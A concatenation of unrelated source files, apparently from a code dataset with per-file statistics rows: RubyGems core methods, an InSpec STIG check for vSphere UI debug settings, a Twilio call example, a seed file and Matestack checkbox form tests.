# The path to the data directory specified by the gem name. If the
# package is not available as a gem, return nil.
def self.datadir(gem_name)
# TODO: deprecate
spec = @loaded_specs[gem_name]
return nil if spec.nil?
spec.datadir
end
##
# A Zlib::Deflate.deflate wrapper
def self.deflate(data)
require 'zlib'
Zlib::Deflate.deflate data
end
# Retrieve the PathSupport object that RubyGems uses to
# lookup files.
def self.paths
@paths ||= Gem::PathSupport.new(ENV)
end
# Initialize the filesystem paths to use from +env+.
# +env+ is a hash-like object (typically ENV) that
# is queried for 'GEM_HOME', 'GEM_PATH', and 'GEM_SPEC_CACHE'
# Keys for the +env+ hash should be Strings, and values of the hash should
# be Strings or +nil+.
def self.paths=(env)
clear_paths
target = {}
env.each_pair do |k,v|
case k
when 'GEM_HOME', 'GEM_PATH', 'GEM_SPEC_CACHE'
case v
when nil, String
target[k] = v
when Array
unless Gem::Deprecate.skip
warn <<-eowarn
Array values in the parameter to `Gem.paths=` are deprecated.
Please use a String or nil.
An Array (#{env.inspect}) was passed in from #{caller[3]}
eowarn
end
target[k] = v.join File::PATH_SEPARATOR
end
else
target[k] = v
end
end
@paths = Gem::PathSupport.new ENV.to_hash.merge(target)
Gem::Specification.dirs = @paths.path
end
##
# The path where gems are to be installed.
#--
# FIXME deprecate these once everything else has been done -ebh
def self.dir
paths.home
end
def self.path
paths.path
end
def self.spec_cache_dir
paths.spec_cache_dir
end
##
# Quietly ensure the Gem directory +dir+ contains all the proper
# subdirectories. If we can't create a directory due to a permission
# problem, then we will silently continue.
#
# If +mode+ is given, missing directories are created with this mode.
#
# World-writable directories will never be created.
def self.ensure_gem_subdirectories dir = Gem.dir, mode = nil
ensure_subdirectories(dir, mode, REPOSITORY_SUBDIRECTORIES)
end
##
# Quietly ensure the Gem directory +dir+ contains all the proper
# subdirectories for handling default gems. If we can't create a
# directory due to a permission problem, then we will silently continue.
#
# If +mode+ is given, missing directories are created with this mode.
#
# World-writable directories will never be created.
def self.ensure_default_gem_subdirectories dir = Gem.dir, mode = nil
ensure_subdirectories(dir, mode, REPOSITORY_DEFAULT_GEM_SUBDIRECTORIES)
end
def self.ensure_subdirectories dir, mode, subdirs # :nodoc:
old_umask = File.umask
File.umask old_umask | 002
require 'fileutils'
options = {}
options[:mode] = mode if mode
subdirs.each do |name|
subdir = File.join dir, name
next if File.exist? subdir
FileUtils.mkdir_p subdir, options rescue nil
end
ensure
File.umask old_umask
end
##
# The extension API version of ruby. This includes the static vs non-static
# distinction as extensions cannot be shared between the two.
def self.extension_api_version # :nodoc:
if 'no' == RbConfig::CONFIG['ENABLE_SHARED'] then
"#{ruby_api_version}-static"
else
ruby_api_version
end
end
##
# Returns a list of paths matching +glob+ that can be used by a gem to pick
# up features from other gems. For example:
#
# Gem.find_files('rdoc/discover').each do |path| load path end
#
# if +check_load_path+ is true (the default), then find_files also searches
# $LOAD_PATH for files as well as gems.
#
# Note that find_files will return all files even if they are from different
# versions of the same gem. See also find_latest_files
def self.find_files(glob, check_load_path=true)
files = []
files = find_files_from_load_path glob if check_load_path
gem_specifications = @gemdeps ? Gem.loaded_specs.values : Gem::Specification.stubs
files.concat gem_specifications.map { |spec|
spec.matches_for_glob("#{glob}#{Gem.suffix_pattern}")
}.flatten
# $LOAD_PATH might contain duplicate entries or reference
# the spec dirs directly, so we prune.
files.uniq! if check_load_path
return files
end
def self.find_files_from_load_path glob # :nodoc:
$LOAD_PATH.map { |load_path|
Dir["#{File.expand_path glob, load_path}#{Gem.suffix_pattern}"]
}.flatten.select { |file| File.file? file.untaint }
end
##
# Returns a list of paths matching +glob+ from the latest gems that can be
# used by a gem to pick up features from other gems. For example:
#
# Gem.find_latest_files('rdoc/discover').each do |path| load path end
#
# if +check_load_path+ is true (the default), then find_latest_files also
# searches $LOAD_PATH for files as well as gems.
#
# Unlike find_files, find_latest_files will return only files from the
# latest version of a gem.
def self.find_latest_files(glob, check_load_path=true)
files = []
files = find_files_from_load_path glob if check_load_path
files.concat Gem::Specification.latest_specs(true).map { |spec|
spec.matches_for_glob("#{glob}#{Gem.suffix_pattern}")
}.flatten
# $LOAD_PATH might contain duplicate entries or reference
# the spec dirs directly, so we prune.
files.uniq! if check_load_path
return files
end
##
# Finds the user's home directory.
#--
# Some comments from the ruby-talk list regarding finding the home
# directory:
#
# I have HOME, USERPROFILE and HOMEDRIVE + HOMEPATH. Ruby seems
# to be depending on HOME in those code samples. I propose that
# it should fallback to USERPROFILE and HOMEDRIVE + HOMEPATH (at
# least on Win32).
#++
#--
#
# FIXME move to pathsupport
#
#++
def self.find_home
windows = File::ALT_SEPARATOR
if not windows or RUBY_VERSION >= '1.9' then
File.expand_path "~"
else
['HOME', 'USERPROFILE'].each do |key|
return File.expand_path ENV[key] if ENV[key]
end
if ENV['HOMEDRIVE'] && ENV['HOMEPATH'] then
File.expand_path "#{ENV['HOMEDRIVE']}#{ENV['HOMEPATH']}"
end
end
rescue
if windows then
File.expand_path File.join(ENV['HOMEDRIVE'] || ENV['SystemDrive'], '/')
else
File.expand_path "/"
end
end
private_class_method :find_home
# FIXME deprecate these in 3.0
##
# Zlib::GzipReader wrapper that unzips +data+.
def self.gunzip(data)
require 'rubygems/util'
Gem::Util.gunzip data
end
##
# Zlib::GzipWriter wrapper that zips +data+.
def self.gzip(data)
require 'rubygems/util'
Gem::Util.gzip data
end
##
# A Zlib::Inflate#inflate wrapper
def self.inflate(data)
require 'rubygems/util'
Gem::Util.inflate data
end
##
# Top level install helper method. Allows you to install gems interactively:
#
# % irb
# >> Gem.install "minitest"
# Fetching: minitest-3.0.1.gem (100%)
# => [#<Gem::Specification:0x1013b4528 @name="minitest", ...>]
def self.install name, version = Gem::Requirement.default, *options
require "rubygems/dependency_installer"
inst = Gem::DependencyInstaller.new(*options)
inst.install name, version
inst.installed_gems
end
##
# Get the default RubyGems API host. This is normally
# <tt>https://rubygems.org</tt>.
def self.host
# TODO: move to utils
@host ||= Gem::DEFAULT_HOST
end
## Set the default RubyGems API host.
def self.host= host
# TODO: move to utils
@host = host
end
##
# The index to insert activated gem paths into the $LOAD_PATH. The activated
# gem's paths are inserted before site lib directory by default.
def self.load_path_insert_index
$LOAD_PATH.each_with_index do |path, i|
return i if path.instance_variable_defined?(:@gem_prelude_index)
end
index = $LOAD_PATH.index RbConfig::CONFIG['sitelibdir']
index
end
@yaml_loaded = false
##
# Loads YAML, preferring Psych
def self.load_yaml
return if @yaml_loaded
return unless defined?(gem)
test_syck = ENV['TEST_SYCK']
# Only Ruby 1.8 and 1.9 have syck
test_syck = false unless /^1\./ =~ RUBY_VERSION
unless test_syck
begin
gem 'psych', '>= 1.2.1'
rescue Gem::LoadError
# It's OK if the user does not have the psych gem installed. We will
# attempt to require the stdlib version
end
begin
# Try requiring the gem version *or* stdlib version of psych.
require 'psych'
rescue ::LoadError
# If we can't load psych, thats fine, go on.
else
# If 'yaml' has already been required, then we have to
# be sure to switch it over to the newly loaded psych.
if defined?(YAML::ENGINE) && YAML::ENGINE.yamler != "psych"
YAML::ENGINE.yamler = "psych"
end
require 'rubygems/psych_additions'
require 'rubygems/psych_tree'
end
end
require 'yaml'
# If we're supposed to be using syck, then we may have to force
# activate it via the YAML::ENGINE API.
if test_syck and defined?(YAML::ENGINE)
YAML::ENGINE.yamler = "syck" unless YAML::ENGINE.syck?
end
# Now that we're sure some kind of yaml library is loaded, pull
# in our hack to deal with Syck's DefaultKey ugliness.
require 'rubygems/syck_hack'
@yaml_loaded = true
end
##
# The file name and line number of the caller of the caller of this method.
def self.location_of_caller
caller[1] =~ /(.*?):(\d+).*?$/i
file = $1
lineno = $2.to_i
[file, lineno]
end
##
# The version of the Marshal format for your Ruby.
def self.marshal_version
"#{Marshal::MAJOR_VERSION}.#{Marshal::MINOR_VERSION}"
end
##
# Set array of platforms this RubyGems supports (primarily for testing).
def self.platforms=(platforms)
@platforms = platforms
end
##
# Array of platforms this RubyGems supports.
def self.platforms
@platforms ||= []
if @platforms.empty?
@platforms = [Gem::Platform::RUBY, Gem::Platform.local]
end
@platforms
end
##
# Adds a post-build hook that will be passed an Gem::Installer instance
# when Gem::Installer#install is called. The hook is called after the gem
# has been extracted and extensions have been built but before the
# executables or gemspec has been written. If the hook returns +false+ then
# the gem's files will be removed and the install will be aborted.
def self.post_build(&hook)
@post_build_hooks << hook
end
##
# Adds a post-install hook that will be passed an Gem::Installer instance
# when Gem::Installer#install is called
def self.post_install(&hook)
@post_install_hooks << hook
end
##
# Adds a post-installs hook that will be passed a Gem::DependencyInstaller
# and a list of installed specifications when
# Gem::DependencyInstaller#install is complete
def self.done_installing(&hook)
@done_installing_hooks << hook
end
##
# Adds a hook that will get run after Gem::Specification.reset is
# run.
def self.post_reset(&hook)
@post_reset_hooks << hook
end
##
# Adds a post-uninstall hook that will be passed a Gem::Uninstaller instance
# and the spec that was uninstalled when Gem::Uninstaller#uninstall is
# called
def self.post_uninstall(&hook)
@post_uninstall_hooks << hook
end
##
# Adds a pre-install hook that will be passed an Gem::Installer instance
# when Gem::Installer#install is called. If the hook returns +false+ then
# the install will be aborted.
def self.pre_install(&hook)
@pre_install_hooks << hook
end
##
# Adds a hook that will get run before Gem::Specification.reset is
# run.
def self.pre_reset(&hook)
@pre_reset_hooks << hook
end
##
# Adds a pre-uninstall hook that will be passed an Gem::Uninstaller instance
# and the spec that will be uninstalled when Gem::Uninstaller#uninstall is
# called
def self.pre_uninstall(&hook)
@pre_uninstall_hooks << hook
end
##
# The directory prefix this RubyGems was installed at. If your
# prefix is in a standard location (ie, rubygems is installed where
# you'd expect it to be), then prefix returns nil.
def self.prefix
prefix = File.dirname RUBYGEMS_DIR
if prefix != File.expand_path(RbConfig::CONFIG['sitelibdir']) and
prefix != File.expand_path(RbConfig::CONFIG['libdir']) and
'lib' == File.basename(RUBYGEMS_DIR) then
prefix
end
end
##
# Refresh available gems from disk.
def self.refresh
Gem::Specification.reset
end
##
# Safely read a file in binary mode on all platforms.
def self.read_binary(path)
open path, 'rb+' do |f|
f.flock(File::LOCK_EX)
f.read
end
rescue *READ_BINARY_ERRORS
open path, 'rb' do |f|
f.read
end
rescue Errno::ENOLCK # NFS
if Thread.main != Thread.current
raise
else
open path, 'rb' do |f|
f.read
end
end
end
##
# Safely write a file in binary mode on all platforms.
def self.write_binary(path, data)
open(path, 'wb') do |io|
begin
io.flock(File::LOCK_EX)
rescue *WRITE_BINARY_ERRORS
end
io.write data
end
rescue Errno::ENOLCK # NFS
if Thread.main != Thread.current
raise
else
open(path, 'wb') do |io|
io.write data
end
end
end
##
# The path to the running Ruby interpreter.
def self.ruby
if @ruby.nil? then
@ruby = File.join(RbConfig::CONFIG['bindir'],
"#{RbConfig::CONFIG['ruby_install_name']}#{RbConfig::CONFIG['EXEEXT']}")
@ruby = "\"#{@ruby}\"" if @ruby =~ /\s/
end
@ruby
end
##
# Returns a String containing the API compatibility version of Ruby
def self.ruby_api_version
@ruby_api_version ||= RbConfig::CONFIG['ruby_version'].dup
end
def self.env_requirement(gem_name)
@env_requirements_by_name ||= {}
@env_requirements_by_name[gem_name] ||= begin
req = ENV["GEM_REQUIREMENT_#{gem_name.upcase}"] || '>= 0'.freeze
Gem::Requirement.create(req)
end
end
post_reset { @env_requirements_by_name = {} }
##
# Returns the latest release-version specification for the gem +name+.
def self.latest_spec_for name
dependency = Gem::Dependency.new name
fetcher = Gem::SpecFetcher.fetcher
spec_tuples, = fetcher.spec_for_dependency dependency
spec, = spec_tuples.first
spec
end
##
# Returns the latest release version of RubyGems.
def self.latest_rubygems_version
latest_version_for('rubygems-update') or
raise "Can't find 'rubygems-update' in any repo. Check `gem source list`."
end
##
# Returns the version of the latest release-version of gem +name+
def self.latest_version_for name
spec = latest_spec_for name
spec and spec.version
end
##
# A Gem::Version for the currently running Ruby.
def self.ruby_version
return @ruby_version if defined? @ruby_version
version = RUBY_VERSION.dup
if defined?(RUBY_PATCHLEVEL) && RUBY_PATCHLEVEL != -1 then
version << ".#{RUBY_PATCHLEVEL}"
elsif defined?(RUBY_REVISION) then
version << ".dev.#{RUBY_REVISION}"
end
@ruby_version = Gem::Version.new version
end
##
# A Gem::Version for the currently running RubyGems
def self.rubygems_version
return @rubygems_version if defined? @rubygems_version
@rubygems_version = Gem::Version.new Gem::VERSION
end
##
# Returns an Array of sources to fetch remote gems from. Uses
# default_sources if the sources list is empty.
def self.sources
source_list = configuration.sources || default_sources
@sources ||= Gem::SourceList.from(source_list)
end
##
# Need to be able to set the sources without calling
# Gem.sources.replace since that would cause an infinite loop.
#
# DOC: This comment is not documentation about the method itself, it's
# more of a code comment about the implementation.
def self.sources= new_sources
if !new_sources
@sources = nil
else
@sources = Gem::SourceList.from(new_sources)
end
end
##
# Glob pattern for require-able path suffixes.
def self.suffix_pattern
@suffix_pattern ||= "{#{suffixes.join(',')}}"
end
##
# Suffixes for require-able paths.
def self.suffixes
@suffixes ||= ['',
'.rb',
*%w(DLEXT DLEXT2).map { |key|
val = RbConfig::CONFIG[key]
next unless val and not val.empty?
".#{val}"
}
].compact.uniq
end
##
# Prints the amount of time the supplied block takes to run using the debug
# UI output.
def self.time(msg, width = 0, display = Gem.configuration.verbose)
now = Time.now
value = yield
elapsed = Time.now - now
ui.say "%2$*1$s: %3$3.3fs" % [-width, msg, elapsed] if display
value
end
##
# Lazily loads DefaultUserInteraction and returns the default UI.
def self.ui
require 'rubygems/user_interaction'
Gem::DefaultUserInteraction.ui
end
##
# Use the +home+ and +paths+ values for Gem.dir and Gem.path. Used mainly
# by the unit tests to provide environment isolation.
def self.use_paths(home, *paths)
paths.flatten!
paths.compact!
hash = { "GEM_HOME" => home, "GEM_PATH" => paths.empty? ? home : paths.join(File::PATH_SEPARATOR) }
hash.delete_if { |_, v| v.nil? }
self.paths = hash
end
##
# The home directory for the user.
def self.user_home
@user_home ||= find_home.untaint
end
##
# Is this a windows platform?
def self.win_platform?
if @@win_platform.nil? then
ruby_platform = RbConfig::CONFIG['host_os']
@@win_platform = !!WIN_PATTERNS.find { |r| ruby_platform =~ r }
end
@@win_platform
end
##
# Load +plugins+ as Ruby files
def self.load_plugin_files plugins # :nodoc:
plugins.each do |plugin|
# Skip older versions of the GemCutter plugin: Its commands are in
# RubyGems proper now.
next if plugin =~ /gemcutter-0\.[0-3]/
begin
load plugin
rescue ::Exception => e
details = "#{plugin.inspect}: #{e.message} (#{e.class})"
warn "Error loading RubyGems plugin #{details}"
end
end
end
##
# Find the 'rubygems_plugin' files in the latest installed gems and load
# them
def self.load_plugins
# Remove this env var by at least 3.0
if ENV['RUBYGEMS_LOAD_ALL_PLUGINS']
load_plugin_files find_files('rubygems_plugin', false)
else
load_plugin_files find_latest_files('rubygems_plugin', false)
end
end
##
# Find all 'rubygems_plugin' files in $LOAD_PATH and load them
def self.load_env_plugins
path = "rubygems_plugin"
files = []
$LOAD_PATH.each do |load_path|
globbed = Dir["#{File.expand_path path, load_path}#{Gem.suffix_pattern}"]
globbed.each do |load_path_file|
files << load_path_file if File.file?(load_path_file.untaint)
end
end
load_plugin_files files
end
##
# Looks for a gem dependency file at +path+ and activates the gems in the
# file if found. If the file is not found an ArgumentError is raised.
#
# If +path+ is not given the RUBYGEMS_GEMDEPS environment variable is used,
# but if no file is found no exception is raised.
#
# If '-' is given for +path+ RubyGems searches up from the current working
# directory for gem dependency files (gem.deps.rb, Gemfile, Isolate) and
# activates the gems in the first one found.
#
# You can run this automatically when rubygems starts. To enable, set
# the <code>RUBYGEMS_GEMDEPS</code> environment variable to either the path
# of your gem dependencies file or "-" to auto-discover in parent
# directories.
#
# NOTE: Enabling automatic discovery on multiuser systems can lead to
# execution of arbitrary code when used from directories outside your
# control.
def self.use_gemdeps path = nil
raise_exception = path
path ||= ENV['RUBYGEMS_GEMDEPS']
return unless path
path = path.dup
if path == "-" then
require 'rubygems/util'
Gem::Util.traverse_parents Dir.pwd do |directory|
dep_file = GEM_DEP_FILES.find { |f| File.file?(f) }
next unless dep_file
path = File.join directory, dep_file
break
end
end
path.untaint
unless File.file? path then
return unless raise_exception
raise ArgumentError, "Unable to find gem dependencies file at #{path}"
end
rs = Gem::RequestSet.new
@gemdeps = rs.load_gemdeps path
rs.resolve_current.map do |s|
sp = s.full_spec
sp.activate
sp
end
rescue Gem::LoadError, Gem::UnsatisfiableDependencyError => e
warn e.message
warn "You may need to `gem install -g` to install missing gems"
warn ""
end
class << self
##
# TODO remove with RubyGems 3.0
alias detect_gemdeps use_gemdeps # :nodoc:
end
# FIX: Almost everywhere else we use the `def self.` way of defining class
# methods, and then we switch over to `class << self` here. Pick one or the
# other.
class << self
##
# Hash of loaded Gem::Specification keyed by name
attr_reader :loaded_specs
##
# GemDependencyAPI object, which is set when .use_gemdeps is called.
# This contains all the information from the Gemfile.
attr_reader :gemdeps
##
# Register a Gem::Specification for default gem.
#
# Two formats for the specification are supported:
#
# * MRI 2.0 style, where spec.files contains unprefixed require names.
# The spec's filenames will be registered as-is.
# * New style, where spec.files contains files prefixed with paths
# from spec.require_paths. The prefixes are stripped before
# registering the spec's filenames. Unprefixed files are omitted.
#
def register_default_spec(spec)
new_format = Gem.default_gems_use_full_paths? || spec.require_paths.any? {|path| spec.files.any? {|f| f.start_with? path } }
if new_format
prefix_group = spec.require_paths.map {|f| f + "/"}.join("|")
prefix_pattern = /^(#{prefix_group})/
end
spec.files.each do |file|
if new_format
file = file.sub(prefix_pattern, "")
next unless $~
end
@path_to_default_spec_map[file] = spec
end
end
##
# Find a Gem::Specification of default gem from +path+
def find_unresolved_default_spec(path)
Gem.suffixes.each do |suffix|
spec = @path_to_default_spec_map["#{path}#{suffix}"]
return spec if spec
end
nil
end
##
# Remove needless Gem::Specification of default gem from
# unresolved default gem list
def remove_unresolved_default_spec(spec)
spec.files.each do |file|
@path_to_default_spec_map.delete(file)
end
end
##
# Clear default gem related variables. It is for test
def clear_default_specs
@path_to_default_spec_map.clear
end
##
# The list of hooks to be run after Gem::Installer#install extracts files
# and builds extensions
attr_reader :post_build_hooks
##
# The list of hooks to be run after Gem::Installer#install completes
# installation
attr_reader :post_install_hooks
##
# The list of hooks to be run after Gem::DependencyInstaller installs a
# set of gems
attr_reader :done_installing_hooks
##
# The list of hooks to be run after Gem::Specification.reset is run.
attr_reader :post_reset_hooks
##
# The list of hooks to be run after Gem::Uninstaller#uninstall completes
# installation
attr_reader :post_uninstall_hooks
##
# The list of hooks to be run before Gem::Installer#install does any work
attr_reader :pre_install_hooks
##
# The list of hooks to be run before Gem::Specification.reset is run.
attr_reader :pre_reset_hooks
##
# The list of hooks to be run before Gem::Uninstaller#uninstall does any
# work
attr_reader :pre_uninstall_hooks
end
##
# Location of Marshal quick gemspecs on remote repositories
MARSHAL_SPEC_DIR = "quick/Marshal.#{Gem.marshal_version}/"
autoload :ConfigFile, 'rubygems/config_file'
autoload :Dependency, 'rubygems/dependency'
autoload :DependencyList, 'rubygems/dependency_list'
autoload :DependencyResolver, 'rubygems/resolver'
autoload :Installer, 'rubygems/installer'
autoload :Licenses, 'rubygems/util/licenses'
autoload :PathSupport, 'rubygems/path_support'
autoload :Platform, 'rubygems/platform'
autoload :RequestSet, 'rubygems/request_set'
autoload :Requirement, 'rubygems/requirement'
autoload :Resolver, 'rubygems/resolver'
autoload :Source, 'rubygems/source'
autoload :SourceList, 'rubygems/source_list'
autoload :SpecFetcher, 'rubygems/spec_fetcher'
autoload :Specification, 'rubygems/specification'
autoload :Version, 'rubygems/version'
require "rubygems/specification"
end
require 'rubygems/exceptions'
# REFACTOR: This should be pulled out into some kind of hacks file.
gem_preluded = Gem::GEM_PRELUDE_SUCKAGE and defined? Gem
unless gem_preluded then # TODO: remove guard after 1.9.2 dropped
begin
##
# Defaults the operating system (or packager) wants to provide for RubyGems.
require 'rubygems/defaults/operating_system'
rescue LoadError
end
if defined?(RUBY_ENGINE) then
begin
##
# Defaults the Ruby implementation wants to provide for RubyGems
require "rubygems/defaults/#{RUBY_ENGINE}"
rescue LoadError
end
end
end
##
# Loads the default specs.
Gem::Specification.load_defaults
require 'rubygems/core_ext/kernel_gem'
require 'rubygems/core_ext/kernel_require'
Gem.use_gemdeps
| 26.384503 | 130 | 0.675043 |
e849067d7fb892b7471daa66019ed7bc0a200ac0 | 83 | module Foo
def bar
666
end
def baz
777
end
end
| 6.916667 | 11 | 0.433735 |
bbdfe5b33bae8360bceb4c22aa9accda733399b8 | 2,480 | control 'VCUI-67-000025' do
title 'vSphere UI must have the debug option turned off.'
desc "Information needed by an attacker to begin looking for possible
vulnerabilities in a web server includes any information about the web server
and plug-ins or modules being used. When debugging or trace information is
enabled in a production web server, information about the web server, such as
web server type, version, patches installed, plug-ins and modules installed,
type of code being used by the hosted application, and any backends being used
for data storage, may be displayed. Since this information may be placed in
logs and general messages during normal operation of the web server, an
attacker does not need to cause an error condition to gain this information.
vSphere UI can be configured to set the debugging level. By setting the
debugging level to zero, no debugging information will be provided to a
malicious user.
"
desc 'rationale', ''
desc 'check', "
At the command prompt, execute the following command:
# xmllint --format /usr/lib/vmware-vsphere-ui/server/conf/web.xml | sed
's/xmlns=\".*\"//g' | xmllint --xpath
'//param-name[text()=\"debug\"]/parent::init-param' -
Expected result:
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
If no lines are returned, this is not a finding.
If the output of the command does not match the expected result, this is a
finding.
"
desc 'fix', "
Navigate to and open /usr/lib/vmware-vsphere-ui/server/conf/web.xml.
Navigate to all <debug> nodes that are not set to \"0\".
Set the <param-value> to \"0\" in all <param-name>debug</param-name> nodes.
Note: The debug setting should look like the following:
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
"
impact 0.5
tag severity: 'medium'
tag gtitle: 'SRG-APP-000266-WSR-000160'
tag gid: 'V-239706'
tag rid: 'SV-239706r816777_rule'
tag stig_id: 'VCUI-67-000025'
tag fix_id: 'F-42898r816776_fix'
tag cci: ['CCI-001312']
tag nist: ['SI-11 a']
describe.one do
describe xml("#{input('webXmlPath')}") do
its('/web-app/servlet/init-param[param-name="debug"]/param-value') { should eq [] }
end
describe xml("#{input('webXmlPath')}") do
its('/web-app/servlet/init-param[param-name="debug"]/param-value') { should cmp '0' }
end
end
end
| 34.929577 | 91 | 0.696774 |
87172bc49bba3128c21742feb3f55192fd15ff87 | 491 | # Get twilio-ruby from twilio.com/docs/ruby/install
require 'twilio-ruby'
# Get your Account Sid and Auth Token from twilio.com/user/account
account_sid = 'ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
auth_token = 'your_auth_token'
@client = Twilio::REST::Client.new(account_sid, auth_token)
call = @client.account.calls
.create(url: 'http://demo.twilio.com/docs/voice.xml',
to: 'client:charlie',
from: '+15017122661')
puts call.start_time
| 35.071429 | 67 | 0.682281 |
2133f4dbf6b4869c23b673ed330f8c1fc15e133a | 78 | module Docile
# The current version of this library
VERSION = "1.3.3"
end
| 15.6 | 39 | 0.705128 |
188854b54e2f6fcf0d6d058a378a179e42ceded6 | 408 | # frozen_string_literal: true
SeedHelper.instance.populate_df_admins(
[
{
email: '[email protected]',
first_name: 'Jason',
last_name: 'Rae'
},
{
email: '[email protected]',
first_name: 'Chris',
last_name: 'Evans'
},
{
email: '[email protected]',
first_name: 'Administrator',
last_name: 'FG'
}
]
)
| 18.545455 | 48 | 0.583333 |
e8e902a5c5c666b4af7354211a3ff5750bb04b91 | 81 | # frozen_string_literal: true
require '{{ cookiecutter.project_slug }}/version'
| 20.25 | 49 | 0.777778 |
ab4744b2b4bf3d9d8d1eaccc470afb29bc31d72f | 13,281 | require_relative "../../../../support/utils"
require_relative "../../../../support/test_controller"
require_relative "../support/form_test_controller"
require_relative "../support/model_form_test_controller"
include Utils
describe "Form Component", type: :feature, js: true do
describe "Checkbox" do
before :all do
Rails.application.routes.append do
post '/checkbox_success_form_test/:id', to: 'form_test#success_submit', as: 'checkbox_success_form_test'
post '/checkbox_success_form_test_with_transition/:id', to: 'form_test#success_submit_with_transition', as: 'checkbox_success_form_test_with_transition'
post '/checkbox_failure_form_test_with_transition/:id', to: 'form_test#failure_submit_with_transition', as: 'checkbox_failure_form_test_with_transition'
post '/checkbox_success_form_test_with_redirect/:id', to: 'form_test#success_submit_with_redirect', as: 'checkbox_success_form_test_with_redirect'
post '/checkbox_failure_form_test_with_redirect/:id', to: 'form_test#failure_submit_with_redirect', as: 'checkbox_failure_form_test_with_redirect'
post '/checkbox_failure_form_test/:id', to: 'form_test#failure_submit', as: 'checkbox_failure_form_test'
post '/checkbox_model_form_test', to: 'model_form_test#model_submit', as: 'checkbox_model_form_test'
end
Rails.application.reload_routes!
end
after :all do
Object.send(:remove_const, :TestModel)
load "#{Rails.root}/app/models/test_model.rb"
end
before :each do
allow_any_instance_of(FormTestController).to receive(:expect_params)
end
it "takes an array of options or hash and submits (multiple) selected item(s)" do
class ExamplePage < Matestack::Ui::Page
def response
matestack_form form_config do
form_checkbox key: :array_input, options: ["Array Option 1","Array Option 2"]
form_checkbox key: :hash_input, options: { "Hash Option 1": "1", "Hash Option 2": "2" }
button "Submit me!"
end
end
def form_config
{
for: :my_object,
method: :post,
path: checkbox_success_form_test_path(id: 42),
}
end
end
visit "/example"
check "Array Option 2"
check "Hash Option 1"
check "Hash Option 2"
expect_any_instance_of(FormTestController).to receive(:expect_params)
.with(hash_including(my_object: { array_input: ["Array Option 2"], hash_input: ["1", "2"] }))
click_button "Submit me!"
end
it "renders auto generated IDs based on user specified ID and optional user specified class per checkbox" do
class ExamplePage < Matestack::Ui::Page
def response
matestack_form form_config do
form_checkbox id: "foo", key: :foo, options: [1, 2]
form_checkbox id: "bar", key: :bar, options: [1, 2], class: "some-class"
button "Submit me!"
end
end
def form_config
{
for: :my_object,
method: :post,
path: checkbox_success_form_test_path(id: 42),
}
end
end
visit "/example"
expect(page).to have_selector('#foo_1')
expect(page).to have_selector('#foo_2')
expect(page).to have_selector('.some-class#bar_1')
expect(page).to have_selector('.some-class#bar_2')
end
it "can be initialized by (multiple) item(s)" do
class ExamplePage < Matestack::Ui::Page
def response
matestack_form form_config do
form_checkbox id: "my-array-test-checkbox", key: :array_input, options: ["Array Option 1","Array Option 2"], init: ["Array Option 1", "Array Option 2"]
form_checkbox id: "my-hash-test-checkbox", key: :hash_input, options: { "Hash Option 1": "1", "Hash Option 2": "2" }, init: ["2"]
button "Submit me!"
end
end
def form_config
{
for: :my_object,
method: :post,
path: checkbox_success_form_test_path(id: 42),
}
end
end
visit "/example"
expect_any_instance_of(FormTestController).to receive(:expect_params)
.with(hash_including(my_object: { array_input: ["Array Option 1", "Array Option 2"], hash_input: ["2"] }))
click_button "Submit me!"
end
it "can be mapped to Active Record Model Column, which is serialized as an Array" do
Object.send(:remove_const, :TestModel)
class TestModel < ApplicationRecord
serialize :some_data, Array
serialize :more_data, Array
validates :more_data, presence: true
def self.array_options
["Array Option 1","Array Option 2"]
end
def self.hash_options
{ "Hash Option 1": "my_first_key", "Hash Option 2": "my_second_key" }
end
end
class ExamplePage < Matestack::Ui::Page
def response
@test_model = TestModel.new
@test_model.some_data = ["Array Option 2"]
@test_model.more_data = ["my_second_key"]
matestack_form form_config do
form_checkbox id: "my-array-test-checkbox", key: :some_data, options: TestModel.array_options
form_checkbox id: "my-hash-test-checkbox", key: :more_data, options: TestModel.hash_options
button "Submit me!"
end
end
def form_config
return {
for: @test_model,
method: :post,
path: checkbox_model_form_test_path
}
end
end
visit "/example"
expect(page).to have_field('Array Option 1', checked: false)
expect(page).to have_field('Array Option 2', checked: true)
expect(page).to have_field('Hash Option 1', checked: false)
expect(page).to have_field('Hash Option 2', checked: true)
uncheck "Hash Option 2"
click_button "Submit me!"
expect(page).to have_xpath('//div[@class="errors"]/div[@class="error" and contains(.,"can\'t be blank")]')
check "Hash Option 2"
check "Hash Option 1"
check "Array Option 1"
click_button "Submit me!"
expect(page).not_to have_xpath('//div[@class="errors"]/div[@class="error" and contains(.,"can\'t be blank")]')
#form should now be reset
expect(page).to have_field('Array Option 1', checked: false)
expect(page).to have_field('Array Option 2', checked: true)
expect(page).to have_field('Hash Option 1', checked: false)
expect(page).to have_field('Hash Option 2', checked: true)
expect(TestModel.last.some_data).to eq(["Array Option 2","Array Option 1"])
expect(TestModel.last.more_data).to eq(["my_second_key", "my_first_key"])
end
it 'can work as a simple true false checkbox' do
Object.send(:remove_const, :TestModel)
load "#{Rails.root}/app/models/test_model.rb"
class ExamplePage < Matestack::Ui::Page
def response
@test_model = TestModel.new
matestack_form form_config do
form_checkbox id: "my-array-test-checkbox", key: :status, label: 'Status'
button "Submit me!"
toggle show_on: 'success', id: 'async-page' do
plain 'Success'
end
end
end
def form_config
return {
for: @test_model,
method: :post,
path: checkbox_model_form_test_path,
success: {
emit: :success
}
}
end
end
visit "/example"
expect(page).to have_field('Status', checked: false)
check 'Status'
click_button "Submit me!"
expect(page).to have_content('Success')
expect(TestModel.last.status).to eq(1)
end
it "can be initialized with a boolean/integer value as true" do
Object.send(:remove_const, :TestModel)
load "#{Rails.root}/app/models/test_model.rb"
class ExamplePage < Matestack::Ui::Page
def response
@test_model = TestModel.new
@test_model.status = 1
@test_model.some_boolean_value = true
matestack_form form_config do
form_checkbox id: "init-as-integer-from-model", key: :status, label: 'Integer Value from Model'
form_checkbox id: "init-as-boolean-from-model", key: :some_boolean_value, label: 'Boolean Value from Model'
form_checkbox id: "init-as-integer-from-config", key: :foo, label: 'Integer Value from Config', init: 1
form_checkbox id: "init-as-boolean-from-config", key: :bar, label: 'Boolean Value from Config', init: true
button "Submit me!"
toggle show_on: 'success', id: 'async-page' do
plain 'Success'
end
end
end
def form_config
return {
for: @test_model,
method: :post,
path: checkbox_success_form_test_path(id: 42),
success: {
emit: :success
}
}
end
end
visit "/example"
